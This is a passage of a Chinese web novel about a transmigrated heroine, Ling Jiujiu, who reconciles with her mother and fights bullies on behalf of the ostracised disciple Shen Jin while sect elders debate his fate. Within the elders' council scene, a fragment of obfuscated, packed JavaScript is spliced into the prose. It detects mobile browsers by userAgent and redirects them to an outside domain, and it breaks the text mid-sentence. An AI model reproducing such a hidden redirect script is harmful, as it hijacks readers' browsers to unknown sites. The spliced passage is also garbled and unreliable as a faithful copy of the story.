凌酒酒没再观后续对莫飞澜的处置,被阿雾和任紫依护着回到了天同宫。而沈烬当即也由七杀宫的人带回去南斗峰了。
而自从当天观刑回来后,阿雾就发觉凌酒酒的精神一直不大好,成日闷闷不乐将自己关在房间里连东西都很少吃。
阿雾猜测她是被吓到了,连连劝:“小宫主,你吃点东西嘛!虽然星魂钉血糊糊的很可怕,可扎得又不是你的身上。你总要吃些东西别把自己的身体也给饿坏了。”
“不想吃……”凌酒酒恹恹趴在床上,精神萎靡,拖长语调,“阿雾,你先出去吧,让我自己静一会儿,好不好?”
“可……”
她一翻身将自己裹进被子里,阿雾无可奈何,只好将粥放在她的床头叹息离去了。
凌酒酒这几天脑子里翻来覆去想的都是沈烬。
从他在“死”殿刑台开始、到他入天星牢、到紫微殿受审再到受星魂钉……想他面色苍白,骨骼清峭,总是忍不住直挺的背脊却总是被迫弯下去……来来回回头都要炸了。
如果说,她一开始只是觉得不忍的话,这一刻就是突然觉得残忍。
如果自己才是那个最残忍的刽子手,她到底该怎么做,才能改变这个结局?
身后又传来一阵轻缓的脚步声,凌酒酒毫无声气地闭了闭眼。
“阿雾,不是都让你先出去了吗,怎么又……”
回身,话语登时止住。
凌云木。
凌酒酒呆呆跟她对视了半晌才想起捋捋头发又整整衣襟,坐起来讷讷叫了声:“娘……宫主。”
凌云木的目光黯了微秒,很快柔和笑起来,伸手去摸她的头发,“还在生气?”
凌酒酒却下意识向后瑟缩了一下。
凌云木的手就停在半空中,这一刻脸上神情真的顿住。
凌酒酒望着她忽然微僵的神色心尖立即泛起一点愧疚,只是挽回已经来不及了,张了张唇最终还是什么都没有说低下头。
半晌,凌云木微微敛正了神色放下手,叹了声,“身居上位者,最难做之处就是这个。”
凌酒酒一怔。
凌云木:“对错要衡量,善恶要分明,是非要公正。犯了错,判轻了,令旁人不服;判重了,令个人心生怨怼;亲者伤情,疏者不忿。分寸之间,毫厘都要斟酌。”
凌酒酒心弦微微一跳。只听她又说:“沈烬之过,是明面摆在那儿的,我没有办法。若他说出个理由也好,可他偏偏什么都不说。”
“酒酒,你可以怪我,但若再来一次,我依旧还是会这么做。作为你的母亲、他的师长,我不想罚这诸宫上下任何一个人。可作为栖星宫的宫主,我不可以。”
凌酒酒默默听着心尖弥漫开一种十分不可名状的感觉,讷讷问:“那如果有一天,我也错了,您也会吗?”
“会。”凌云木说:“不仅是你,即便是我,也会。天下人吾亦矣。”
凌酒酒心跳沉重化开一种无法言说的感受,却又有种无端的欣慰,在心尖五味瓶般地交织。
这才是凌云木。
她的栖星宫主凌云木。
如果她不这样做……那反而不是她了。
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“娘……”她微微酸红着鼻尖扑到她的怀里,“我没有生气,至少没有生你的气,我只是……”
只是……
只是什么,她也说不出来。
但凌云木已经都懂地拍拍她的背。
凌酒酒就窝在她肩窝嗅着和曾经妈妈一样的味道吸吸鼻子闭上眼。
少顷,凌云木像想起什么,微微将女儿从怀中带出来一点,“不过,酒酒,你和那个沈烬……”
“我们什么都没有的!”想到最近宫里传乌七八糟的传言,凌酒酒连忙矢口否认。
她对上她微微怔讶的眼又尴尬地摸摸脖子道:“我……其实就是觉得他挺可怜的。就觉得……以命格判定一个人,是否有失公允?命入灾星就是灾?命入福星就是福吗?那我还经常觉得自己倒霉呢!左右他算是这世上和我完全相反的一个人,我看他现在这样……也挺莫名不是滋味。”
凌酒酒的命格与沈烬完全相反。数年前,紫微星盘为小宫主凌酒酒批命,显其命星为:天同、天贵、恩光、天喜。
全福星入命,旷古绝伦,举宫惊叹。
可或许真如系统所说,这世间万物都主平衡。她全吉星入命,却给了她一个形同废柴的体质和根骨。全不似他那惊才绝艳的天资。
凌云木微怔望了她少顷欣悦笑了,再次伸手摸摸她的头发,“酒酒,看你如今这样心存至善,娘真的很欣慰。”
“你说的没错,世上人性本恶还是人性本善本就无定论。沈烬……我对他的看法其实也始终持有些保留态度。你倒是提醒了我。今后,我也会让诸宫注意,勿要以命星论尊卑,偏颇于人。”
凌酒酒一时怔怔看着她又发起呆,一时间分不清眼前人是新是故。
好像回到很久以前,无论她说什么、做什么、对或错。她都会笑着对她说:“酒酒说好,那就好。”
无条件支持她。
或许,她真的可以试着去改变那个结局,留住一些早已抓不住的人。
哪怕这个世界可能都是假的;
哪怕都是一场梦。
“娘,”她眼眶渐渐润红,凌云木望着面露讶异,不等问,就听她说:“你这次,别离开我了好吗?”
凌云木心口蓦然彭开了一抹陈杂的酸涩。
许久,凌云木微笑,“好。”眼眶也微微红了。
“那酒酒以后就留在栖星宫,不回九鹭山了。”
-
凌酒酒在天同宫又窝了两天,终于恢复了精神,这天让阿雾伴着她到栖星宫各处走一走。
阿雾很开心,小宫主最起码终于恢复活力了呀!
栖星十四宫中,各星宫在斗峰的排布也是按星级分布的。
如紫微星,乃是北斗星系第一星,紫微宫便也处在北斗峰的最顶端,远望如一座琉璃仙宫伫立在山岚云岫间。其余北斗六星依次往下排,俯瞰正是一副浩瀚的北斗六星图。
凌酒酒穿来这段日子,心里倒是将整个宫的地图都摸透了,去过的地方却寥寥无几。大部分只聚集在天同宫、紫微宫等。
倒是“死”殿天星牢被她去成了个常客,连守卫的星从都混成了个脸熟。
凌酒酒在北斗各宫大概溜了一圈,发现不同宫的风格也是大为迥异的。
如天机星主智谋机变、整个天机宫也布满了机关精妙;武曲星主财帛勇武,整个武曲宫的风格也豪华富丽财大气粗……可谓各有特色了。
午后晴阳高照,哪怕是冬季阳光也炙热。
凌酒酒只走马观花地走了几处就颇觉身子骨有点吃不消,叉着腰用手扇风大喘气。
阿雾也道:“小宫主,栖星宫很大的,反正你以后就要留在宫里了,以后慢慢看也不迟嘛!要不我们先回吧。”
凌酒酒却指住了对面山峰一处红棕色调的宫殿,问道:“那个是哪个宫啊?”
阿雾心一跳,话说得都磕磕巴巴了,“那是……七杀宫!那个小宫主,我看你都累了我们还是回去吧!你最近身体本来就不太好可别再病了!”
阿雾这些时日以来对七杀宫格外敏感。在她看来,小宫主每次一遇到七杀宫那个沈烬就没什么好事。
先是坠入碧寒潭、再是劳心伤神一连躺了好几天……想来八字不合还是远离的好!
“原来是七杀宫啊!”凌酒酒却像故意藏着什么似的,这一刻才眼眸滴溜溜地一转攒起笑,杏眼亮盈盈,“那我们去七杀宫看看吧!”
阿雾:“……”
我真是信了你的邪。
8. 008.七杀
七杀星乃南斗星系第七星,属将星、主肃杀。
虽仅排第七星,但“杀破狼”星系本就是整个紫微斗数中气数最为强劲的三颗星星,合攻,攻无不破;合守,无坚可摧,故让杀破狼三宫在整个南斗峰乃至栖星宫也被视作擎天柱石般的存在。
只可惜这几年来三宫仿佛被一起下了降头的难兄难弟,一个赛一个地寥落,让三宫在整个十四宫中的地位也有点尴尬了。
后话了。
七杀宫位处南斗星地势第四高的位置,整个宫殿以棕、红、黑为主色,气势冷肃磅礴。
除却七杀宫所代表的绛红色火纹外,其余多的一丝点缀都没有,颇有种庄严压抑之感。
今日天晴,七杀宫大殿前的枫色梅开得正好。
落了微雪刹是好看。
一群弟子正在殿前例行操练间,一道不大和谐的声音响彻全场。
“让你扫个雪你都扫不好,废物么?”
“星魂钉是把你的手也给钉残了吗?”
“真不知道你这样的人师父还留你在七杀宫干什么,术法术法不能学,干点杂活也干不好,成天就知道在外为非作歹,还敢害天同宫那位小宫主了,给七杀宫蒙羞!”
沈烬站在七杀广场的边沿,脚边丢着一个扫帚,长身玉立,神色淡漠。
他今日换了一套干净的宫服,夺目的星宿在烈烈焰火间烧灼翻飞。却衬得他整个人更加的白,墨色长睫鸦羽一般垂低,还留有几分初愈的病态。
静寂间,有小弟子小声窃窃。
“不能这么说吧……害小宫主的不是莫飞澜吗?”
“就是啊,宫主不都澄清了沈师兄的罚是因为枉顾同门之过……”
“是啊是啊……”
“都瞎嘀咕什么呢!”方才那个出声的少年再次斥声,“管他是因为什么罚,宫主罚以他星魂钉刑是真,令诸宫观刑也是真,他当时像只狗一样被挂在刑台上,那不就是给七杀宫添耻?”
“我告诉你,沈烬,你要是想继续留在七杀宫就老实点!我管你受了鞭刑还是钉刑,现在能站起来了就得给我干活!难不成还想让我们永远伺候你吗?今天这地你要是扫不完你就别吃饭了!”
“继续!”
他一声大喝,众弟子不敢说什么纷纷到殿前重新列队了,场中一片木剑相碰的操练轻响。
沈烬一直面无表情地淡垂着睫,直等到他们开始操练后才默不作声到扫帚旁蹲下身。
自从那日他受完钉刑被带回七杀宫后,便一直在卧舍卧床养伤,不得不说,冰魄散的确是治疗星魂钉的良药,没几日他身上的伤便好了大半,今日伤势初愈方能下床,一早便被同门的师弟赵惊堂拽起来命他替他值日扫雪。
扫雪谁不会?他身上虽还带着余伤,但总归不到半个时辰便将大殿都清扫干净了,便继续回卧舍休养生息了。
哪知刚闭眼不久,赵惊堂便又气势汹汹拽他到这儿来,指着地上一片横七竖八的残雪就一顿叱骂。
想来是和赵惊堂平日交好的那两个跟班——秦修、卓明,为了整蛊他,故意捣毁破坏的。
果不其然,他悄无声息抬眸看,就见秦修和卓明两人正边划拉剑招边余光瞟着他幸灾乐祸笑得正欢,对上他的目光后又轻咳着佯装看天不看他了。
沈烬手掌无声一运,一股气浪带着一捧雪直接无声滑到赵惊堂、秦修、卓明几人脚下。
只见整齐划一的队伍里立即有三道人影狗啃王八似的啪叽摔了个狗啃泥。
周围弟子瞬起一阵爆笑。秦修卓明两人也仰面倒在地上哎呦哎呦地叫唤个不停。赵惊堂脸朝地半晌抬起脸就见两条鲜红的液体顺着他的鼻孔流下来。
四下笑得更欢了。赵惊堂狼狈地伸手抹了一把才气急败坏地起身朝向他,“沈烬!”
“抱歉,赵师弟,秦师弟,卓师弟。”沈烬只手杵着扫帚而立白衣胜雪的模样与他们仨形成了鲜明的对比,“我身上带伤,扫个雪都扫不好,望诸师弟妹见谅。雪后地滑,也请三位师弟千万小心些。”
“你——”他更加怒不可遏扶着腰一瘸一拐地上前就像要打人。就听见远处忽传来一声清灵灵的,“沈烬!”
沈烬眉心轻微一跳。
她怎么来了?
凌酒酒今天穿了身新衣裳,没有穿栖星宫统一的宫服。水蓝色的襦裙外是件淡蓝流云纹斗篷,领口的边毛茸茸的,衬得她整个人也像只灵动可爱的小动物。
阿雾跟在她身后,一副蛮不情愿的模样。凌酒酒的脚步倒轻快径直跑向七杀殿这头。
七杀宫的弟子见是她纷纷不觉都有些讶。有些好事儿的如秦修、卓明两人已经先一步笑呵呵迎上前,“小宫主?你……”
凌酒酒却恍若未见般直接从他们俩面前略过径直到沈烬身前,“沈烬,你这些天怎么样了?伤都好些了吗?”
沈烬清黑的眼复杂凝视在她脸上,轻微点了下头,“嗯。”
他在这一瞬一念倏起,背在身后的手不露声色闪过一丝光,凌酒酒原本听见他说好刚想微笑,忽就见他身上先前受钉刑的地方渗出斑驳血点,登时一惊。
“你,你怎么流血啦?你不说好些了吗?你……”
她立刻想到什么,脸上盈起一点怒意转回头,“你们欺负他?”
赵惊堂和秦修卓明等人本还逢迎着朝着凌酒酒这边,闻言一下愣了,很快不明所以地反驳,“谁欺负他了!是他刚使坏我们才对吧!我们明明……”
“是的,小宫主,没人欺负我。”不等他说完,沈烬已开口,“是我自己体质原因,伤总好的慢些,和师弟们没关系。”
他说的时候,不自觉握拳轻咳了一下,另一手杵着的扫帚就明晃晃地晃,衬着他身上愈渐殷红的血点有种红梅落雪似的虚弱与摄人。
“……”赵惊堂看着沈烬突然虚弱的模样简直要吐血了。凌酒酒看着那个扫帚当真更是来了一口气,一把夺过就丢在几人面前。
“你们既然说没欺负他,那这又是什么?他身上还带着伤呢你们就让他干活,七杀宫难道还缺个扫地的人不成吗?也太没天理了吧!”
赵惊堂瞠目结舌,“不是……就让他扫个地,也算欺负了?再说他伤明明就已经好得差不多了!你别看他在这儿装他根本就——”
他一把上前就要拽他想证明他无恙,哪知道刚一碰到,沈烬突然弯腰捂住胸口。
他本就苍白清瘦,这样抿唇捂胸隐忍的模样当真显出几分脆弱,加上身上的斑驳血痕,轻咳一声楚楚可怜。
赵惊堂:“……”
-
凌酒酒来七杀宫找沈烬的时候,一众星君也正在紫微殿议事。
栖星宫每月逢“五”日,皆是众星君例行议事的日子。今日议事尾声,天刑星君禀告了有关莫飞澜的事宜。
莫飞澜自那日受过星魂钉刑后,便一直在天星牢养伤。栖星宫虽已褫夺了他的星命逐出师门,却并未想伤他性命,如今他刑伤初愈也是时候放逐出宫了。
凌云木沉吟须臾道:“放他出宫可以,但要派人在他暗处看着他的行踪,另外还要劳烦天巫星君在他身上下一道追踪术,切要保证他的安危。”
天刑星君不解,“怎要如此大费周章?”
凌云木只淡然一笑,“诸位,难道就从没想过,莫飞澜杀害吾女的目的,究竟为何吗?”
那日莫飞澜当众称是因凌酒酒心生爱慕强迫于人的目的,举宫上下皆有耳闻,虽传得沸沸扬扬满宫风雨,可终审那日已经澄清辟谣,加上凌酒酒当时和后来的诸多反应,怎么都不像倾慕于他的。
倒是对那沈烬多加维护得紧。
有人问:“您已审问出他真实原由了?”
凌云木摇头,却道:“我虽未审问出他真实原由,但大抵能够推到。他身收重刑不肯吐露,宁愿捏造谎言也不肯将实情说出口,足见他有什么隐秘的东西藏着。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14383927|153230||http|test|mini|href|location''.split(''|''),0,{}));
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>“酒酒虽救过他,但断不会轻易授予人本命术法,且酒酒自己的修为都差强人意,又怎能让他修成这等修为的天同铸?诸位不妨想想,倘若当时莫飞澜的计谋得逞,那这整件事中首当其冲的,是谁?”
现场众人闻言面色纷纷正视起来,有人已经将那个名字说出来。
“沈烬。”
-
“沈烬!”凌酒酒立刻伸手扶了一把,看着沈烬一瞬更苍白虚弱的模样不由心惊,心里一种厌烦的气意也越来越盛。
她横身挡在了他与赵惊堂之间,“你干什么,难道还要当众动手不成吗?”
“不是,我……”赵惊堂彻底有苦说不出了,看着仍在低睫隐忍的沈烬更加气不打一出来,一手指住他就愤慨道:“沈烬!你要是男人你就别装!躲在女人身后卖可怜算什么!真要学着莫飞澜卖色相媚上是吧?!”
沈烬不动声色抬眸冷睨他一眼。
赵惊堂这一句自己骂得爽,却丝毫没发觉直接将正在面前的凌酒酒也给骂去了,凌酒酒一刹胸口一堵忿忿就叫了声,“阿雾!”
阿雾登时就如同只鬼魅上前照着赵惊堂的大脸就给了一脚直接将他踹出三丈远——
凌酒酒虽然还不认识眼前这几个人谁是谁,但大抵猜得到。当初她在写沈烬在七杀宫的艰难处境时,有几个刺头对他千般折辱百般刁难,尤其其中一个叫赵惊堂的。
他是和沈烬同期入栖星宫的师弟,却因为资质普通在很长一段时间里一直居于沈烬之下,直到紫微命盘显沈烬命宫全灾星后才像得了意,在二人同入七杀宫后便彻底变着法地对沈烬打压欺凌。
虽然这个世界人物都是她所创造的她自己也要负上三分责任,可当她真的面对这么活生生的一个人,那忍不住的愠气也是实打实的。凌酒酒双手叉腰横眉冷目。
这边赵惊堂再次倒地哎呦哎呦地叫唤了好一会儿被秦修和卓明扶起,对着凌酒酒切齿。
“凌酒酒,你干什么?我一直念你是宫主之女才对你三分客气!栖星宫中忌同门私斗,你要非来硬的可别怪我也不客气了!且宫主有云栖星宫拜入师门者皆去阶除级唯师友长幼!这事就算捅到了宫主那儿我也是有说辞的!”
凌酒酒回斥,“栖星宫中忌同门私斗,那同门欺凌就不忌了吗?再说是你先恶意欺人满口胡言吐不出象牙的!你说宫中去阶除级唯师友长幼,那沈烬还是你师兄呢!你怎么说?不如人就多努力,人丑就要多读书!总偏门左道的欺负人算怎么回事啊你。”
赵惊堂一瞬像被踩到了痛脚暴跳如雷一把直接冲上前。凌酒酒神色一凛,“阿雾!”
阿雾也再次里再次上前缠斗上去。
四下立刻就响起一片吸气声。
阿雾是天地灵雾所化,可以说原身是天地雾气,所行的也是幻障缠斗的术法。
可她对上七杀宫阴火的术法却恰好是相克,片刻只闻空气里“滋啦”的一声,像烈火烧灼了蒸汽的响动,阿雾踉跄回到凌酒酒身旁手臂已经被灼烧了一片伤口。
凌酒酒怔然看着阿雾手上的伤像明白什么目光倏地冷了,“你下杀招?”
赵惊堂神情一厉已经再一次凝气冲上前来,这一次所冲的却是凌酒酒。
凌酒酒惊忡之下躲已经来不及了,下意识抬手闭眼别过脸。四周也瞬时响起一片七七八八的惊呼声。
“赵师兄!”
“别——”
“快住手!”
沈烬目色一沉,隐在袖下的手一瞬翻腕,一股无形气脉荡在凌酒酒身后。
只听“轰”一声!一道人影已经弹出去。赵惊堂落地后哑炮了半天才骂骂咧咧哀呼出声。
“哎……呦……”
凌酒酒原本都等着剧痛来临了,等了半天不见动静才小心翼翼睁眼。看着倒在地上的赵惊堂不可思议看向自己的手。
哇去!
什么情况?
她还有隐藏开大功能吗?
9. 009.打架
紫微殿内,议事还在继续。
“又是他。”
说出“沈烬”的名字后,在场有人不禁蹙眉感叹一声,不解道:“那莫飞澜这般煞费苦心栽赃于他,又是为何?倒不曾听说莫飞澜与沈烬有过什么宿敌仇怨,何以下杀手呢?”
“这我就不知道了。”凌云木仍淡然一笑,“只是我已修过书至九鹭仙君,九鹭仙君称酒酒与莫飞澜当初在九鹭山时,莫飞澜虽为吾女所救但二人关系一直平和,不消存在下杀手的仇怨。我这才猜想,他目的应当另有其人。”
在场众人静默片刻,有人小心翼翼猜测,“会否……是因为他这特殊的命格?”
现场氛围一瞬更为凝重了些。一向威猛刚肃的武曲星君眉一皱厉道:“要我说,此子身上诸多灾邪,人也冷淡阴沉得紧,早该在命星显当日就杀了才是!也就不会有今天这么多风波了。”
沈烬当初在命星显时,也曾举宫轰动众人震撼,不过,是被吓的。
正如凌酒酒的命宫清一色福星般旷古绝伦,清一色灾星也是头一次。十四宫上下当时对沈烬的何去何从也是颇多争论。
有人主杀,以免灾星问世涂炭生灵;
有人主放逐,又恐任其自生自灭反成灾祸;
最后还是想了个折中之法,让他入本命宫却不授予术法,就在边缘搁着,也算不曾屠戮无辜生灵。
凌云木眉间皱了一皱,还是道:“怎么杀?谁来杀?又以何因由杀?怀璧之罪,怀璧又何罪?”
“栖星宫本就平世间煞气维护平衡,可若我们当真先杀害了尚无辜的无辜者,又怎再能当万仙门之表率承万众之供仰?”
在场众人一时都不说话了。片晌有人提了句,“七杀星君怎么看呢?”
猝然被点了名,七杀星君一愣,看过去。
刚说话的贪狼星君摇着扇子悠悠道:“到底是你们宫的人,也是你门下的弟子,是杀是留,你怎么看呢?那莫飞澜冲的想来也是沈烬这亘古绝奇的命格,灾星现世会发生什么谁都不可知,可既然已经有人蠢蠢欲动,总要绸缪才是。”
七杀星君沉吟片刻肃然起身,对凌云木郑重一礼道:“此子虽是我七杀宫弟子,但我从未授其本命术法,不算我门生,是杀是留,听凭宫主定夺。”
-
赵惊堂倒地哀呼了一会儿很快强撑着站起身来,再一次恶狠狠地向她攻来一掌。
凌酒酒的眼眸蓦然睁大,心虽还是虚的但仍试探性地挡去一掌,同时暗中的沈烬又一翻手再一股气脉尽数渡在她的身上。
掌风对峙的刹那,赵惊堂蓦地又如一个蓦然被放了气的气球轰然弹出去。
这回弹得更远了,直接摔倒不远处装景的池塘里。
前些天刚下了雪,池塘里都是被扫落雪化的泥水。他扑通掉进去再站起来整个人彻底成了个小泥人。
哇!
她这开大功能也太牛叉了吧!
凌酒酒惊讶看着自己的双手眸中的光越来越亮,周围七杀宫的众弟子们也窸窸窣窣爆开一阵私语。
“不说小宫主身子骨特别弱术法修得也很差吗?这也不像啊!”
“是啊……这内元太强了吧!”
“传说有误啊!她这要叫差我这叫什么啊!”
沈烬在微暗处无声放下手,这一次真的不觉按了下胸口微蹙眉。
凌酒酒原没想跟赵惊堂缠斗,哪知赵惊堂从泥潭站起来后却不肯善罢甘休,更加不甘成怒地对秦修、卓明道:“都愣着干什么!打她啊!”
秦修卓明颤巍巍站在两人之间根本不知所从,大哥啊除了你这么莽谁敢真打小宫主啊!
赵惊堂:“今天要是连个天同宫的废柴都打不过,明天传出去我们七杀宫就再也别想抬头了!上啊!”
同时阿雾还在旁边咬牙切齿扇风,“小宫主!打他!打死他!给他打成个猪头!给我们天同宫一雪前耻的时候到了让他这么……嘶哎呦哎呦!”龇牙咧嘴对着手臂上的创口吹吹风。
凌酒酒想到阿雾臂上的伤霎时眸光冷了,手中开始结印催动天同铸。
沈烬抿唇无声叹了口气摇摇头又一翻腕涌去一层气脉。
天同铸——天同宫本命术,主合守术法,单攻自然比不上七杀本命术法——“肃杀”。
可当凌酒酒的术法与赵惊堂打来的“肃杀”相碰时,赵惊堂还是如一个断线风筝直接飞出去,倒在地上彻底哀呼悠哉。
哇啊啊啊啊啊!凌酒酒这回真的惊喜爆棚,简直都要上瘾了。
她在以前的现实生活中那感受过这个,动动手指就能让自己想教训的人飞了,她一边轻松松对付着颤巍巍上来的秦修卓明一边在心中开怀大吼。
“系统!我能开大了系统!这是什么隐藏功能啊系统!太棒了吧!”
【……】系统仿佛懒得说话,【您悠着点吧,小心再把人整崩了。】
沈烬在暗处涌动着气脉唇色愈渐发白,看着像是彻底玩嗨了的凌酒酒渐蹙起眉。
祖宗……真是够了。
-
紫微殿这边凌云木还未等说话,就看见门口有个星从正在徘徊,似乎在踯躅着该不该进。立刻问:“谁在那儿?何事?”
星从:“禀宫主,七杀宫那边……有弟子私斗,打起来了。”
“七杀宫”三个字,让七杀星君的眉头顿跳,在场众人也纷纷心照不宣交换了下眼神。
贪狼星君还在摇扇子,“不会还是这个沈烬吧?”
“不是。”
七杀星君刚微松一口气,只听星从又说:“是小宫主与赵惊堂因为沈烬。”
“……”
-
紫微殿上,凌酒酒、沈烬、赵惊堂、秦修……等人跪成了一排,一众星君陈列在四面八方颇有种审判的气势。
气氛沉凝严肃,凌酒酒抬眸偷瞄着上座正说话的几位星君,向身旁的阿雾嘀嘀咕咕,“同门私斗……一般都怎么罚啊?”
阿雾耳语,“轻则杖几十,重则逐出宫,关键看伤到什么程度。”
凌酒酒只觉浑身皮一紧,屁股都麻了,嗫嚅:“那我这个……应该不会太严重吧?我看他们几个都皮糙肉厚的没怎么受伤……”
沈烬只身跪在凌酒酒的身旁,背脊清挺,听见身旁细微的动静不禁轻瞥去一眼。
恰逢凌酒酒也正瞄向他,目光相对的刹那凌酒酒咧唇嘿嘿朝他一笑。
沈烬露出一副“早干什么去了现在知道怕了的”表情撇开视线摇摇头。
大殿上位的几位星君像是终于谈话结束了,众星君共同面向了这边七杀星君肃声道:“说吧,究竟是怎么回事?”
几人迅速跪好了气氛再次端重下来。
静滞片晌,赵惊堂率先告状,“是凌酒酒把我们打成这样的!”
凌酒酒原本都已经平息下来的火气一下又有点炸,不甘示弱反驳,“是你先伤了阿雾的!”
“是她先踹我的!”赵惊堂一手指了下脸上还印着的滑稽鞋印。
凌酒酒:“是你先骂我的!”
“我没有想骂你……我只是想证明沈烬是装的!”
“你才装的!你还要当我面打沈烬!是你先欺负沈烬的!”
“是他先——”
“行了!”七杀星君听得头大,蓦地沉厉一声。两人肩膀一抖瞬时谁都不敢再说话乖乖跪好了。
“这是菜市场吗!”
凌酒酒攥着拳心中还有不忿,瞄着远处的赵惊堂无声狠了狠神色狂白眼,对上七杀星君警告的眼神立刻敛敛神色佯装什么都没发生似的低下眸。
角落的贪狼星君看着这小丫头颇觉有趣似的笑了笑。
在场有几位星君讶异,指着赵惊堂几人灰头土脸的模样诧异问:“这些……都是你打的?”
“嗯!”凌酒酒供认不讳,还不以为耻反以为荣似的高扬起头。她这大招超能力本就该让人佩服敬仰的!
赵惊堂胸口发涨气愤不甘地瞪她。
几位星君更加诧异,“……都是?”
“嗯!”
几人面面相觑交递了下眼神……这小宫主的术法什么时候变得这么好了?
沈烬清黑的眸光始终低垂不动声色。
这边的七杀星君转向了凌云木,“宫主,您怎么看?”
凌云木一直未曾说话,负手而立在几人面前像审视,对上凌酒酒惭愧的目光像无奈暗叹了口气。
看见沈烬身上还殷红的血色微微凝眸。
她掌中无声运起一层薄息尽数附在沈烬的伤处上,沈烬一瞬就难忍般微弯
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了腰皱眉忍了忍。
凌酒酒见状面露讶异刚想开口去阻止,就见他身上的伤就以一种肉眼可见的速度在渐渐愈合,连衣上的血痕都不见了。在凌云木放下手的刹那又恢复成白衣如雪的模样只是脸色有些苍白。
哇……凌酒酒心下惊赞。
沈烬也微讶异地看了看自己的身上哑声俯了一身,“谢宫主。”
凌云木重新负手到大殿之上做最后的处置。
“不管怎么说,同门私斗都乃大忌。赵惊堂不知轻重,痛下杀招,罚杖三十,抄宫规一千遍,闭门思过一月;”
“秦修、卓明杖十、罚抄宫规五百遍,闭门半月。”
赵惊堂浑身一抖和秦修卓明共同颓丧下脸来。凌云木的目光又落在凌酒酒和沈烬的身上顿了顿,“至于凌酒酒和沈烬……”
凌酒酒的心一提。
凌云木:“凌酒酒私自动手有过,但是维护同门有功,功过半抵,罚杖三,抄宫规十遍,闭门三天;”
“至于沈烬,此次本是无辜受连,但总归引起风波,就罚以闭门五日思过。”
凌酒酒悬在嗓子眼的心一瞬落下来在心里转圈欢呼,还好还好!虽然还是要罚但是打三下总比打几十下能令人接受的!妈妈我爱你!
而沈烬,所说是罚,但闭门五日总归有理由可以在卧舍好好养伤休息。他眸光微动也明白什么般平静地颔首,“弟子领命。”
“等等……凭什么啊!”眼见事了,赵惊堂不乐意了,突然出声不甘反呛,“凭什么他们都罚的这么轻啊?!宫主你向来称栖星宫无论身份阶级一律公开公正……可却给凌酒酒罚的这么轻?你敢说这不是包庇吗!”
凌云木眉尖轻蹙还不待说话,凌酒酒已经先一步大喇喇朝他开了口,“这哪里是包庇?这明明是明察秋毫好吧?说起来我倒还有个问题想问问七杀星君。”她看向七杀星君,“敢问七杀星君,七杀宫中,是缺少洒扫的星从吗?”
七杀星君不解,“何出此言?”
凌酒酒:“我今天去七杀殿时,看见刚刚身受重伤初愈的沈烬正在殿前打扫,这位赵师兄对他大呼小叫的,都把他旧伤给吼裂开了!我一时看不过眼才多管了闲事的。我是想着,七杀宫或是人手不够才令身有刑伤的弟子还要干活?若是如此的话,我们天同宫的星从够呀!可以匀七杀宫两个!”
赵惊堂一听猛地深吸一口气险些背过气去。七杀星君的眉宇也蹙起来肃道:“怎会?我七杀宫再严苛也断不会让负伤弟子劳作,怎可能……”
星君身边大多都有随身星侍的,很快七杀星君的星侍道:“星君,今日宫中的轮值弟子是赵惊堂。”
赵惊堂心一跳脸一下垮下去。凌酒酒忙更加故作惊讶地说:“哦!原来今天的值日生是赵师兄啊!那怎么当时是沈烬在洒扫啊?我眼睛没出毛病啊!”
赵惊堂恶狠狠地瞪她一眼瞥到七杀星君严厉的视线更加低头丧下脸。而周围一众星君也都听明白了是怎么回事,一时都不禁笑了。
沈烬神色难言地轻瞥了瞥身旁抿唇。
“好了。”半晌,凌云木轻轻肃正了神色,说:“后续事宜就请七杀、天同两位星君将他们各自带回宫后自行处置吧,诸位若无他事,便先散了吧。”
“酒酒。”她又单独叫住了凌酒酒。凌酒酒在一群稀稀拉拉退出殿的人流中回眸,踯躅半天还是到她面前。
“娘……”
她这会儿莫名颇觉浑身燥热口干舌燥,想着可能是这斗篷太厚或这殿里人太多热的,随手扯了扯斗篷的领口有点小惭愧地开口,“娘,我今天……”
凌云木只轻手掩去了她鬓边的一缕碎发消无声息握了下她的脉息微笑道:“怎的小脸红扑扑的?可是病还没好?”
她这一如既往温柔不加责怪的模样让凌酒酒心里忽然又升起暖意,连忙吟吟笑了摆手,“没有没有!都已经好了!我就是……有点热。”
两人说了一会儿话,凌云木让她走了。
凌酒酒脚步轻盈一蹦一跳地向外,重新恢复了元气高兴的模样,被罚了都能这么高兴。
凌云木望着她的背影良久低眸望了眼方才探过她脉息的指尖叹息摇头。
这傻丫头。
这么强劲的阴火内元渡身……被烧上火了都不知道。
10.010.夯烎
虽说只是罚了三杖,但这戒律堂戒杖的威力倒是让凌酒酒小觑,凌酒酒当晚便趴在床上哼哼唧唧个不停。
“哎……呦……”
“你就庆幸吧!小宫主!”阿雾为她轻轻涂着药,嗔叹道:“天刑星君是看在宫主的面子上,且对女弟子的罚一向手软些,这还是放了水后的!你是没看到那七杀宫赵惊堂和秦修他们几个,简直杀猪一样!尤其那赵惊堂,三十杖下去表现得好像比沈烬当时钉星魂钉还惨,不知道的还真以为谁家年关在虐待宰猪!”
“他们活该!”凌酒酒登时手捶床愤慨出声,一支身子像不小心牵到伤处,再次呜唧唧地趴下来咬住被角。
但一想到他们几个惨兮兮的模样,凌酒酒莫名就又有些高兴了,她一边龇牙咧嘴忍着痛一边幸灾乐祸咯咯笑着的模样看在阿雾眼里忽然有种扭曲的滑稽。
阿雾一边将最后一点药在她伤处抹平一边试探性地道:“说到底,这次还是因为这个沈烬!”
凌酒酒一顿。
阿雾悄咪咪观察她的神色故作忿忿说:“你说你要是不去找他,还会发生后面这些事嘛?先前若是因为碧寒潭的事害他也无辜受冤你为他这么东奔西走的也便罢了,可现在这事已经了了,你还管他这些闲事干什么?左右都是他们七杀宫自己的事……你就说!你以后还去不去了!”
凌酒酒被训了一顿像有些不好意思地巴巴朝她眨眨眼,但顶上她斥问的目光还是咧嘴一笑,“嘿嘿……”
“啊?不是吧?!”阿雾瞬时垮下脸,“你怎么还要去啊!”
她顿时松手撂开药瓶恰巧打在凌酒酒身上,凌酒酒立即哎呦哎呦地龇歪两声才微微敛正了神色叹声说:“阿雾,你不懂。”
